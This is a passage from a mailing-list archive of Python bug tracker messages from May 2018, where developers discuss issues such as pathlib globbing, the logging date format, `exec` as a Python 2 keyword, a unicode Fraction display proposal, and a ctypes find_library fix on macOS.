comment: I checked this on Mac and Windows, pathlib and the old glob std lib behave the same on both in this respect On Tue, 1 May 2018, 18:35 Emily Morehouse, wrote: > > Emily Morehouse added the comment: > > Good find -- I agree that when using Path.cwd().glob('*/'), it should only > return directories. This follows the original glob library's functionality > as well as the Unix expectation (I believe Windows as well, but I'll double > check). > > I'll work on a fix! > > ---------- > assignee: -> emilyemorehouse > nosy: +emilyemorehouse > > _______________________________________ > Python tracker > > _______________________________________ > ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 1 15:18:59 2018 From: report at bugs.python.org (Diego Argueta) Date: Tue, 01 May 2018 19:18:59 +0000 Subject: [issue33038] GzipFile doesn't always ignore None as filename In-Reply-To: <1520642770.84.0.467229070634.issue33038@psf.upfronthosting.co.za> Message-ID: <1525202339.71.0.682650639539.issue33038@psf.upfronthosting.co.za> Diego Argueta added the comment: Did this make it into 2.7.15? There aren't any release notes for it on the download page like usual. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 1 15:33:03 2018 From: report at bugs.python.org (Ned Deily) Date: Tue, 01 May 2018 19:33:03 +0000 Subject: [issue33038] GzipFile doesn't always ignore None as filename In-Reply-To: <1520642770.84.0.467229070634.issue33038@psf.upfronthosting.co.za> Message-ID: <1525203183.91.0.682650639539.issue33038@psf.upfronthosting.co.za> Ned Deily added the comment: It looks like PR 6095 for this issue has not been reviewed or merged yet. The commits for v2.7.15 are here: https://github.com/python/cpython/commits/v2.7.15 ---------- nosy: +benjamin.peterson, ned.deily _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 1 15:37:24 2018 From: report at bugs.python.org (Paul Cyr) Date: Tue, 01 May 2018 19:37:24 +0000 Subject: [issue33400] logging.Formatter does not default to ISO8601 date format Message-ID: <1525203444.89.0.682650639539.issue33400@psf.upfronthosting.co.za> New submission from Paul Cyr : >From the docs: https://docs.python.org/3.6/library/logging.html#logging.Formatter "class logging.Formatter(fmt=None, datefmt=None, style='%') ... If no datefmt is specified, the ISO8601 date format is used." However, the output from the formatter when no datefmt is specified is not an ISO8601 date. It is also a datetime format, not a date format. Example output: 2018-05-01 19:04:31,505 Not being an ISO member, I don't have access to the official source for the specification but, trusting other sources, it appears that the output is missing the required 'T' delimiter between the date and time, and it is also missing the timezone. A compliant output would be: 2018-05-01T19:04:31,505Z The current output appears to actually be closer to RFC 3339, as that standards allows for a space instead of the 'T' delimiter, but RFC 3339 still requires a timezone. Either the documentation should be updated to state that the format used is an RFC 3339 datetime but without a timezone, or the format should comply with the standard specified in the documentation. ---------- components: Library (Lib) messages: 316012 nosy: paulc priority: normal severity: normal status: open title: logging.Formatter does not default to ISO8601 date format type: behavior versions: Python 3.4 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 1 15:38:56 2018 From: report at bugs.python.org (Ned Deily) Date: Tue, 01 May 2018 19:38:56 +0000 Subject: [issue33400] logging.Formatter does not default to ISO8601 date format In-Reply-To: <1525203444.89.0.682650639539.issue33400@psf.upfronthosting.co.za> Message-ID: <1525203536.07.0.682650639539.issue33400@psf.upfronthosting.co.za> Change by Ned Deily : ---------- nosy: +vinay.sajip _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 1 15:56:41 2018 From: report at bugs.python.org (Paul Ganssle) Date: Tue, 01 May 2018 19:56:41 +0000 Subject: [issue33400] logging.Formatter does not default to ISO8601 date format In-Reply-To: <1525203444.89.0.682650639539.issue33400@psf.upfronthosting.co.za> Message-ID: <1525204601.01.0.682650639539.issue33400@psf.upfronthosting.co.za> Paul Ganssle added the comment: ISO 8601 does not require an offset (in fact, most portions of the ISO 8601 date and time are optional - ISO 8601 is more complicated than most people think). Without an offset a datetime is assumed to be local time. The T delimiter is required, but can be omitted by mutual consent, see https://en.wikipedia.org/wiki/ISO_8601#Combined_date_and_time_representations ---------- nosy: +p-ganssle _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 1 16:08:48 2018 From: report at bugs.python.org (Ned Deily) Date: Tue, 01 May 2018 20:08:48 +0000 Subject: [issue33191] Refleak in posix_spawn In-Reply-To: <1522444171.85.0.467229070634.issue33191@psf.upfronthosting.co.za> Message-ID: <1525205328.57.0.682650639539.issue33191@psf.upfronthosting.co.za> Change by Ned Deily : ---------- resolution: -> duplicate stage: patch review -> resolved status: open -> closed superseder: -> expose posix_spawn(p) _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 1 16:15:52 2018 From: report at bugs.python.org (Ned Deily) Date: Tue, 01 May 2018 20:15:52 +0000 Subject: [issue20104] expose posix_spawn(p) In-Reply-To: <1388600000.81.0.911230526926.issue20104@psf.upfronthosting.co.za> Message-ID: <1525205752.86.0.682650639539.issue20104@psf.upfronthosting.co.za> Ned Deily added the comment: Thanks for the latest fixes, Serhiy. Now is there anything more that needs to be done for this issue? ---------- priority: release blocker -> deferred blocker versions: +Python 3.8 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 1 16:32:55 2018 From: report at bugs.python.org (luav) Date: Tue, 01 May 2018 20:32:55 +0000 Subject: [issue33401] `exec` attribute can't be set to objects in Python2 (SyntaxError) Message-ID: <1525206775.24.0.682650639539.issue33401@psf.upfronthosting.co.za> New submission from luav : The following code works fine on Python 3.5.2 but `exec` attribute fails to be set to the object on Python 2.7.12: ```python >>> o = type('O', (object,), {}) >>> o.e = 1 >>> o.eval = 1 >>> o.exec = 1 File "", line 1 o.exec = 1 ^ SyntaxError: invalid syntax ``` OS Environments: Ubuntu 16.04.4 LTS x64 ---------- components: Interpreter Core messages: 316015 nosy: luav priority: normal severity: normal status: open title: `exec` attribute can't be set to objects in Python2 (SyntaxError) type: behavior versions: Python 2.7 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 1 16:34:08 2018 From: report at bugs.python.org (Emanuel Barry) Date: Tue, 01 May 2018 20:34:08 +0000 Subject: [issue33401] `exec` attribute can't be set to objects in Python2 (SyntaxError) In-Reply-To: <1525206775.24.0.682650639539.issue33401@psf.upfronthosting.co.za> Message-ID: <1525206848.54.0.682650639539.issue33401@psf.upfronthosting.co.za> Emanuel Barry added the comment: This is because `exec` is a keyword in Python 2, whereas in Python 3 it's a function. ---------- nosy: +ebarry resolution: -> not a bug stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 1 16:46:37 2018 From: report at bugs.python.org (=?utf-8?q?St=C3=A9phane_Blondon?=) Date: Tue, 01 May 2018 20:46:37 +0000 Subject: [issue33311] cgitb: remove parentheses when the error is in module In-Reply-To: <1524076792.36.0.682650639539.issue33311@psf.upfronthosting.co.za> Message-ID: <1525207597.0.0.682650639539.issue33311@psf.upfronthosting.co.za> Change by St?phane Blondon : ---------- pull_requests: +6371 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 1 16:49:17 2018 From: report at bugs.python.org (Ned Deily) Date: Tue, 01 May 2018 20:49:17 +0000 Subject: [issue31453] Debian Sid/Buster: Cannot enable TLS 1.0/1.1 with PROTOCOL_TLS In-Reply-To: <1505317705.14.0.640405907228.issue31453@psf.upfronthosting.co.za> Message-ID: <1525207757.71.0.682650639539.issue31453@psf.upfronthosting.co.za> Ned Deily added the comment: Christian, ping. Can we close this? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 1 16:58:29 2018 From: report at bugs.python.org (luav) Date: Tue, 01 May 2018 20:58:29 +0000 Subject: [issue33401] `exec` attribute can't be set to objects in Python2 (SyntaxError) In-Reply-To: <1525206775.24.0.682650639539.issue33401@psf.upfronthosting.co.za> Message-ID: <1525208309.46.0.682650639539.issue33401@psf.upfronthosting.co.za> luav added the comment: Why Python 2 documentation does not outline that keywords / statements can't be used as the object attributes? https://docs.python.org/2/reference/simple_stmts.html#exec And why does this restriction exist at all? The keywords always stand-alone and newer follow '.', i.e. always distinguishable from the object attributes. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 1 17:04:58 2018 From: report at bugs.python.org (luav) Date: Tue, 01 May 2018 21:04:58 +0000 Subject: [issue33401] `exec` attribute can't be set to objects in Python2 (SyntaxError) In-Reply-To: <1525206775.24.0.682650639539.issue33401@psf.upfronthosting.co.za> Message-ID: <1525208698.63.0.682650639539.issue33401@psf.upfronthosting.co.za> luav added the comment: I'm sorry for the previous question, now it's clear (the space is allowed after the '.' which complicates the parsing): ``` >>> o.e = 1 >>> o. e 1 >>> o.e 1 ``` Anyway, it would be nice to outline the eligible values for attributes in the documentation (https://docs.python.org/2/tutorial/classes.html). ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 1 17:08:42 2018 From: report at bugs.python.org (Emanuel Barry) Date: Tue, 01 May 2018 21:08:42 +0000 Subject: [issue33401] `exec` attribute can't be set to objects in Python2 (SyntaxError) In-Reply-To: <1525206775.24.0.682650639539.issue33401@psf.upfronthosting.co.za> Message-ID: <1525208922.59.0.682650639539.issue33401@psf.upfronthosting.co.za> Emanuel Barry added the comment: Any valid variable name can be used as a an attribute; for example, "spam" is valid while "spam-eggs" is not. This isn't unique to classes, but to all assignments everywhere. If we allowed `o.exec = blah` then we should also allow `exec = blah` at the global scope and that's a whole load of not happening, much less in Python 2 (which isn't getting any significant updates anymore). ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 1 17:25:02 2018 From: report at bugs.python.org (Antoine Pitrou) Date: Tue, 01 May 2018 21:25:02 +0000 Subject: [issue32608] Incompatibilities with the socketserver and multiprocessing packages In-Reply-To: <1516539327.3.0.467229070634.issue32608@psf.upfronthosting.co.za> Message-ID: <1525209902.79.0.682650639539.issue32608@psf.upfronthosting.co.za> Antoine Pitrou added the comment: Posted a review now. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 1 17:49:46 2018 From: report at bugs.python.org (Stephan Hohe) Date: Tue, 01 May 2018 21:49:46 +0000 Subject: [issue32797] Tracebacks from Cython modules no longer work In-Reply-To: <1518090924.55.0.467229070634.issue32797@psf.upfronthosting.co.za> Message-ID: <1525211386.9.0.682650639539.issue32797@psf.upfronthosting.co.za> Stephan Hohe added the comment: > Do you mean the "python" command-line program? Yes, that's what I used. > That uses a different algorithm: I see, it only works for top-level modules. You're right, that's not a real solution. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 1 17:50:41 2018 From: report at bugs.python.org (Paul Goins) Date: Tue, 01 May 2018 21:50:41 +0000 Subject: [issue21822] KeyboardInterrupt during Thread.join hangs that Thread In-Reply-To: <1403365475.16.0.757881205569.issue21822@psf.upfronthosting.co.za> Message-ID: <1525211441.41.0.682650639539.issue21822@psf.upfronthosting.co.za> Paul Goins added the comment: Okay, I think I need to abandon my research into this. This does seem to have quite an amount of complexity to it and is probably more than I should be taking on at this point in time. Anyone else who wants to look at this, consider it fair game. Parting thoughts based on my limited expertise in the area, take them or ignore them: * Semaphore-based AllocNonRecursiveMutex (!_PY_USE_CV_LOCKS): Using WaitForSingleObjectEx with alertable set to TRUE may be one path forward, however it seems like that would involve tracking all threads performing a ctrl-c-interruptible wait and calling QueueUserAPC with a no-op callback for each such thread to cause the wait to terminate early. I don't particularly like the need to roll-our-own tracking, but at least off-hand and based on my somewhat limited experience in this area, I don't know of a better way. Hopefully someone else does. * CriticalSection/Semaphore-based AllocNonRecursiveMutex (_PY_USE_CV_LOCKS with _PY_EMULATED_WIN_CV): I don't know of a way of interrupting the CriticalSection lock, but the WaitForSingleObjectEx strategy may be usable on the semaphore-based condition variable. * SRWLock/ConditionVariable-based AllocNonRecursiveMutex (_PY_USE_CV_LOCKS with !_PY_EMULATED_WIN_CV): Similarly, I don't know of a way to interrupt the SRWLock. However, similar to WaitForSingleObjectEx, it may be possible to wake the condition variables via a Ctrl-C if we add our own tracking for such. I'm not sure if this gets us quite to where we need to be or not. Hopefully the above notes are of some value. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 1 18:08:40 2018 From: report at bugs.python.org (Antoine Pitrou) Date: Tue, 01 May 2018 22:08:40 +0000 Subject: [issue21822] KeyboardInterrupt during Thread.join hangs that Thread In-Reply-To: <1403365475.16.0.757881205569.issue21822@psf.upfronthosting.co.za> Message-ID: <1525212520.62.0.682650639539.issue21822@psf.upfronthosting.co.za> Antoine Pitrou added the comment: multiprocessing semaphores support Ctrl-C under Windows, so it should be doable for regular locks as well (notice the `sigint_event`): https://github.com/python/cpython/blob/master/Modules/_multiprocessing/semaphore.c#L109-L146 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 1 18:24:28 2018 From: report at bugs.python.org (Paul Goins) Date: Tue, 01 May 2018 22:24:28 +0000 Subject: [issue21822] KeyboardInterrupt during Thread.join hangs that Thread In-Reply-To: <1403365475.16.0.757881205569.issue21822@psf.upfronthosting.co.za> Message-ID: <1525213468.23.0.682650639539.issue21822@psf.upfronthosting.co.za> Paul Goins added the comment: Good point, I forgot about WaitForMultipleObjectsEx; something like that seems like it would be much simpler for the first 2 cases. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 1 18:39:00 2018 From: report at bugs.python.org (Gabe Appleton) Date: Tue, 01 May 2018 22:39:00 +0000 Subject: [issue33402] Change the fractions.Fraction class to convert to a unicode fraction string Message-ID: <1525214340.23.0.682650639539.issue33402@psf.upfronthosting.co.za> New submission from Gabe Appleton : Currently it has a __repr__() which returns `Fraction(x, y)`, and a __str__() which returns `x/y`. I have a ready pull request to change this to a scheme where both return unicode fractions. ---------- components: Library (Lib) messages: 316026 nosy: gappleto97 priority: normal severity: normal status: open title: Change the fractions.Fraction class to convert to a unicode fraction string type: enhancement versions: Python 3.8 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 1 18:40:32 2018 From: report at bugs.python.org (Gabe Appleton) Date: Tue, 01 May 2018 22:40:32 +0000 Subject: [issue33402] Change the fractions.Fraction class to convert to a unicode fraction string In-Reply-To: <1525214340.23.0.682650639539.issue33402@psf.upfronthosting.co.za> Message-ID: <1525214432.56.0.682650639539.issue33402@psf.upfronthosting.co.za> Change by Gabe Appleton : ---------- keywords: +patch pull_requests: +6372 stage: -> patch review _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 1 18:52:33 2018 From: report at bugs.python.org (Eric V. Smith) Date: Tue, 01 May 2018 22:52:33 +0000 Subject: [issue33402] Change the fractions.Fraction class to convert to a unicode fraction string In-Reply-To: <1525214340.23.0.682650639539.issue33402@psf.upfronthosting.co.za> Message-ID: <1525215153.55.0.682650639539.issue33402@psf.upfronthosting.co.za> Eric V. Smith added the comment: Your patch would break the usual and useful behavior of x == eval(repr(x)) >>> f = Fraction(1,2) >>> repr(f) 'Fraction(1, 2)' >>> eval(repr(f)) Fraction(1, 2) >>> f == eval(repr(f)) True Plus, I'm sure there's working code that would break as a result of this. I'd suggest having a utility function that provides the functionality that you're after. ---------- nosy: +eric.smith _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 1 18:54:16 2018 From: report at bugs.python.org (Gabe Appleton) Date: Tue, 01 May 2018 22:54:16 +0000 Subject: [issue33402] Change the fractions.Fraction class to convert to a unicode fraction string In-Reply-To: <1525214340.23.0.682650639539.issue33402@psf.upfronthosting.co.za> Message-ID: <1525215256.49.0.682650639539.issue33402@psf.upfronthosting.co.za> Gabe Appleton added the comment: Would it be workable if I instead just changed the __str__() method? I'm willing to go either way, but I feel like it's a bit nicer to have it output a nice fraction that way. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 1 19:06:56 2018 From: report at bugs.python.org (Eric V. Smith) Date: Tue, 01 May 2018 23:06:56 +0000 Subject: [issue33402] Change the fractions.Fraction class to convert to a unicode fraction string In-Reply-To: <1525214340.23.0.682650639539.issue33402@psf.upfronthosting.co.za> Message-ID: <1525216016.34.0.682650639539.issue33402@psf.upfronthosting.co.za> Eric V. Smith added the comment: I'd bring it up on python-ideas, and point the discussion to this issue. I think the primary complain will be using non-ASCII characters in a function that normally doesn't return non-ASCII. But maybe people will be willing to accept it. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 1 19:23:36 2018 From: report at bugs.python.org (R. David Murray) Date: Tue, 01 May 2018 23:23:36 +0000 Subject: [issue33402] Change the fractions.Fraction class to convert to a unicode fraction string In-Reply-To: <1525214340.23.0.682650639539.issue33402@psf.upfronthosting.co.za> Message-ID: <1525217016.15.0.682650639539.issue33402@psf.upfronthosting.co.za> R. David Murray added the comment: I vote -1. It's cute, but I'd much rather have a consistently ascii representation of something that is easily represented in ascii. ---------- nosy: +r.david.murray _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 1 20:33:54 2018 From: report at bugs.python.org (pyneda) Date: Wed, 02 May 2018 00:33:54 +0000 Subject: [issue33403] asyncio.tasks.wait does not allow to set custom exception when return_when=FIRST_EXCEPTION Message-ID: <1525221234.75.0.682650639539.issue33403@psf.upfronthosting.co.za> Change by pyneda : ---------- components: asyncio nosy: asvetlov, giampaolo.rodola, pyneda, yselivanov priority: normal severity: normal status: open title: asyncio.tasks.wait does not allow to set custom exception when return_when=FIRST_EXCEPTION type: enhancement versions: Python 3.8 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 1 20:40:56 2018 From: report at bugs.python.org (pyneda) Date: Wed, 02 May 2018 00:40:56 +0000 Subject: [issue33403] asyncio.tasks.wait does not allow to set custom exception when return_when=FIRST_EXCEPTION Message-ID: <1525221656.67.0.682650639539.issue33403@psf.upfronthosting.co.za> Change by pyneda : ---------- keywords: +patch pull_requests: +6374 stage: -> patch review _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 1 21:31:33 2018 From: report at bugs.python.org (Braiden Gole) Date: Wed, 02 May 2018 01:31:33 +0000 Subject: [issue33404] Phone Number Generator Message-ID: <1525224693.4.0.682650639539.issue33404@psf.upfronthosting.co.za> New submission from Braiden Gole : I was creating a small program to generate numbers for fun and I realized that my output is different from my input. The random phone number that I used is: (519-662-6963) and what I get is: (519-662-6953), where the second last digit changes, thought it would be worth looking at. Everything looks to be inline and in order of precedence but not sure what is going on. ---------- assignee: terry.reedy components: IDLE files: Phone_numbers.PNG messages: 316031 nosy: Braiden Gole, terry.reedy priority: normal severity: normal status: open title: Phone Number Generator type: behavior versions: Python 3.6 Added file: https://bugs.python.org/file47559/Phone_numbers.PNG _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 1 21:40:27 2018 From: report at bugs.python.org (Josh Rosenberg) Date: Wed, 02 May 2018 01:40:27 +0000 Subject: [issue33404] Phone Number Generator In-Reply-To: <1525224693.4.0.682650639539.issue33404@psf.upfronthosting.co.za> Message-ID: <1525225227.15.0.682650639539.issue33404@psf.upfronthosting.co.za> Josh Rosenberg added the comment: You named your loop variable i, overlapping the name of your second to last digit, so you end up replacing the original value of i in each (given the break, the only) loop. So before the loop begins, i has the expected value of '6', but on the first iteration, i is rebound to the value of a (the first element in the tuple), '5', and your format string uses that value instead. If you removed the break, you'd see the second to last digit cycle through all the other values as it goes, because i would be repeatedly rebound to each digit as it goes. This is a bug in your code, not a problem with Python; in the future, direct questions of this sort to other online resources (e.g. Stack Overflow); unless you have a provable bug in Python itself, odds are it's a bug in your code's logic. ---------- nosy: +josh.r _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 1 21:40:52 2018 From: report at bugs.python.org (Josh Rosenberg) Date: Wed, 02 May 2018 01:40:52 +0000 Subject: [issue33404] Phone Number Generator In-Reply-To: <1525224693.4.0.682650639539.issue33404@psf.upfronthosting.co.za> Message-ID: <1525225252.05.0.682650639539.issue33404@psf.upfronthosting.co.za> Change by Josh Rosenberg : ---------- versions: -Python 3.6 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 1 21:43:41 2018 From: report at bugs.python.org (pmpp) Date: Wed, 02 May 2018 01:43:41 +0000 Subject: [issue33380] Update module attribute on namedtuple methods for introspection. In-Reply-To: <1524955212.89.0.682650639539.issue33380@psf.upfronthosting.co.za> Message-ID: <1525225421.92.0.682650639539.issue33380@psf.upfronthosting.co.za> pmpp added the comment: Indeed thanks for the deep explanation. It seems that not finding im_self anymore (not even in the dunder clutter), i've mistaken '.__self__.__module__' with '.__module__'. How joyfull to learn anew to trace a caller id, and sorry for the noise (again). ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 1 21:44:19 2018 From: report at bugs.python.org (Steven D'Aprano) Date: Wed, 02 May 2018 01:44:19 +0000 Subject: [issue33402] Change the fractions.Fraction class to convert to a unicode fraction string In-Reply-To: <1525214340.23.0.682650639539.issue33402@psf.upfronthosting.co.za> Message-ID: <1525225459.88.0.682650639539.issue33402@psf.upfronthosting.co.za> Steven D'Aprano added the comment: Strings in Python 3 are already unicode. Looking at the patch, I see a lot of fractions which display as the missing glyph white square. For example, instead of seeing 1/9, which displays perfectly everywhere, I see a mysterious box similar to ?. Even when I see one, there's the visual inconsistency between fractions which display like ? and those that display like ??/?? which frankly just looks ugly to me. One problem is that in many fonts, the glyphs for superscript and subscript digits are a hodge-podge of sizes and styles with no consistent design. If you're going to do this, you ought to use U+2044 FRACTION SLASH rather than U+002F SOLIDUS: compare ????? with the above. If your font is decent, and many are not, the fraction slash is tighter and allows the numerator and denominator to overlap the slash, closer to the visual look of ?. I would strongly oppose this becoming the default __str__ of fractions. ---------- nosy: +steven.daprano _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 1 22:02:32 2018 From: report at bugs.python.org (Zachary Ware) Date: Wed, 02 May 2018 02:02:32 +0000 Subject: [issue33404] Phone Number Generator In-Reply-To: <1525224693.4.0.682650639539.issue33404@psf.upfronthosting.co.za> Message-ID: <1525226552.43.0.682650639539.issue33404@psf.upfronthosting.co.za> Change by Zachary Ware : ---------- resolution: -> not a bug stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 1 22:02:38 2018 From: report at bugs.python.org (Zachary Ware) Date: Wed, 02 May 2018 02:02:38 +0000 Subject: [issue33404] Phone Number Generator In-Reply-To: <1525224693.4.0.682650639539.issue33404@psf.upfronthosting.co.za> Message-ID: <1525226558.73.0.682650639539.issue33404@psf.upfronthosting.co.za> Change by Zachary Ware : ---------- assignee: terry.reedy -> _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 1 22:02:55 2018 From: report at bugs.python.org (Zachary Ware) Date: Wed, 02 May 2018 02:02:55 +0000 Subject: [issue33404] Phone Number Generator In-Reply-To: <1525224693.4.0.682650639539.issue33404@psf.upfronthosting.co.za> Message-ID: <1525226575.86.0.682650639539.issue33404@psf.upfronthosting.co.za> Change by Zachary Ware : ---------- components: -IDLE _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 1 22:31:45 2018 From: report at bugs.python.org (Ned Deily) Date: Wed, 02 May 2018 02:31:45 +0000 Subject: [issue33281] ctypes.util.find_library not working on macOS In-Reply-To: <1523769860.6.0.682650639539.issue33281@psf.upfronthosting.co.za> Message-ID: <1525228305.03.0.682650639539.issue33281@psf.upfronthosting.co.za> Ned Deily added the comment: New changeset d06d345f04b3f7e5b318df69b1d179328a64ca9c by Ned Deily (Ray Donnelly) in branch 'master': bpo-33281: Fix ctypes.util.find_library regression on macOS (GH-6625) https://github.com/python/cpython/commit/d06d345f04b3f7e5b318df69b1d179328a64ca9c ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 1 22:31:56 2018 From: report at bugs.python.org (miss-islington) Date: Wed, 02 May 2018 02:31:56 +0000 Subject: [issue33281] ctypes.util.find_library not working on macOS In-Reply-To: <1523769860.6.0.682650639539.issue33281@psf.upfronthosting.co.za> Message-ID: <1525228316.3.0.682650639539.issue33281@psf.upfronthosting.co.za> Change by miss-islington : ---------- pull_requests: +6376 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 1 22:37:52 2018 From: report at bugs.python.org (Ned Deily) Date: Wed, 02 May 2018 02:37:52 +0000 Subject: [issue33281] ctypes.util.find_library not working on macOS In-Reply-To: <1523769860.6.0.682650639539.issue33281@psf.upfronthosting.co.za> Message-ID: <1525228672.34.0.682650639539.issue33281@psf.upfronthosting.co.za> Change by Ned Deily : ---------- pull_requests: +6377 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 1 22:41:05 2018 From: report at bugs.python.org (Braiden Gole) Date: Wed, 02 May 2018 02:41:05 +0000 Subject: [issue33404] Phone Number Generator In-Reply-To: <1525225227.15.0.682650639539.issue33404@psf.upfronthosting.co.za> Message-ID: Braiden Gole added the comment: Thanks for the detailed explenation and my apologies. I will contact Stack Overflow in the future when I have an issue. This is my first report in the bug section of Python and I now understand the content that needs to be put under a category like this one. Thanks: Braiden Gole On Tue, May 1, 2018, 9:40 PM Josh Rosenberg, wrote: > > Josh Rosenberg added the comment: > > You named your loop variable i, overlapping the name of your second to > last digit, so you end up replacing the original value of i in each (given > the break, the only) loop. > > So before the loop begins, i has the expected value of '6', but on the > first iteration, i is rebound to the value of a (the first element in the > tuple), '5', and your format string uses that value instead. If you removed > the break, you'd see the second to last digit cycle through all the other > values as it goes, because i would be repeatedly rebound to each digit as > it goes. > > This is a bug in your code, not a problem with Python; in the future, > direct questions of this sort to other online resources (e.g. Stack > Overflow); unless you have a provable bug in Python itself, odds are it's a > bug in your code's logic. > > ---------- > nosy: +josh.r > > _______________________________________ > Python tracker > > _______________________________________ > ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 1 22:41:45 2018 From: report at bugs.python.org (Ned Deily) Date: Wed, 02 May 2018 02:41:45 +0000 Subject: [issue33281] ctypes.util.find_library not working on macOS In-Reply-To: <1523769860.6.0.682650639539.issue33281@psf.upfronthosting.co.za> Message-ID: <1525228905.67.0.682650639539.issue33281@psf.upfronthosting.co.za> Ned Deily added the comment: New changeset 69a013ec189f93a0dea97cfdbb3adc348648a666 by Ned Deily in branch 'master': bpo-33281: NEWS and ACK (GH-6681) https://github.com/python/cpython/commit/69a013ec189f93a0dea97cfdbb3adc348648a666 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 1 22:41:55 2018 From: report at bugs.python.org (miss-islington) Date: Wed, 02 May 2018 02:41:55 +0000 Subject: [issue33281] ctypes.util.find_library not working on macOS In-Reply-To: <1523769860.6.0.682650639539.issue33281@psf.upfronthosting.co.za> Message-ID: <1525228915.15.0.682650639539.issue33281@psf.upfronthosting.co.za> Change by miss-islington : ---------- pull_requests: +6378 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 1 22:51:34 2018 From: report at bugs.python.org (Ned Deily) Date: Wed, 02 May 2018 02:51:34 +0000 Subject: [issue33281] ctypes.util.find_library not working on macOS In-Reply-To: <1523769860.6.0.682650639539.issue33281@psf.upfronthosting.co.za> Message-ID: <1525229494.05.0.682650639539.issue33281@psf.upfronthosting.co.za> Ned Deily added the comment: New changeset c74ca5396aa7740d4fc90617e6b2315e849fa71f by Ned Deily (Miss Islington (bot)) in branch '3.7': bpo-33281: Fix ctypes.util.find_library regression on macOS (GH-6625) (GH-6680) https://github.com/python/cpython/commit/c74ca5396aa7740d4fc90617e6b2315e849fa71f ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 1 22:52:45 2018 From: report at bugs.python.org (Ned Deily) Date: Wed, 02 May 2018 02:52:45 +0000 Subject: [issue33281] ctypes.util.find_library not working on macOS In-Reply-To: <1523769860.6.0.682650639539.issue33281@psf.upfronthosting.co.za> Message-ID: <1525229565.15.0.682650639539.issue33281@psf.upfronthosting.co.za> Ned Deily added the comment: New changeset d74f35331f176e0679f0614b6cccf0dc0422e31a by Ned Deily (Miss Islington (bot)) in branch '3.7': bpo-33281: NEWS and ACK (GH-6681) (GH-6682) https://github.com/python/cpython/commit/d74f35331f176e0679f0614b6cccf0dc0422e31a ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 1 22:56:58 2018 From: report at bugs.python.org (Ned Deily) Date: Wed, 02 May 2018 02:56:58 +0000 Subject: [issue33281] ctypes.util.find_library not working on macOS In-Reply-To: <1523769860.6.0.682650639539.issue33281@psf.upfronthosting.co.za> Message-ID: <1525229818.01.0.682650639539.issue33281@psf.upfronthosting.co.za> Ned Deily added the comment: Thanks for the PR, Ray. Merged for 3.7.0b4 (and 3.8.0). ---------- nosy: +Ray.Donnelly priority: release blocker -> resolution: -> fixed stage: patch review -> resolved status: open -> closed versions: +Python 3.8 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 2 01:28:54 2018 From: report at bugs.python.org (Ned Deily) Date: Wed, 02 May 2018 05:28:54 +0000 Subject: [issue33290] Python.org macOS pkg installs pip3 as pip In-Reply-To: <1523920180.91.0.682650639539.issue33290@psf.upfronthosting.co.za> Message-ID: <1525238934.32.0.682650639539.issue33290@psf.upfronthosting.co.za> Change by Ned Deily : ---------- pull_requests: +6379 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 2 01:30:39 2018 From: report at bugs.python.org (Ned Deily) Date: Wed, 02 May 2018 05:30:39 +0000 Subject: [issue33290] Python.org macOS pkg installs pip3 as pip In-Reply-To: <1523920180.91.0.682650639539.issue33290@psf.upfronthosting.co.za> Message-ID: <1525239039.04.0.682650639539.issue33290@psf.upfronthosting.co.za> Ned Deily added the comment: New changeset 0dd80709b5dc03756e7f4510761ae60236bb9f6d by Ned Deily in branch 'master': bpo-33290: Have macOS installer remove "pip" alias (GH-6683) https://github.com/python/cpython/commit/0dd80709b5dc03756e7f4510761ae60236bb9f6d ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 2 01:31:01 2018 From: report at bugs.python.org (miss-islington) 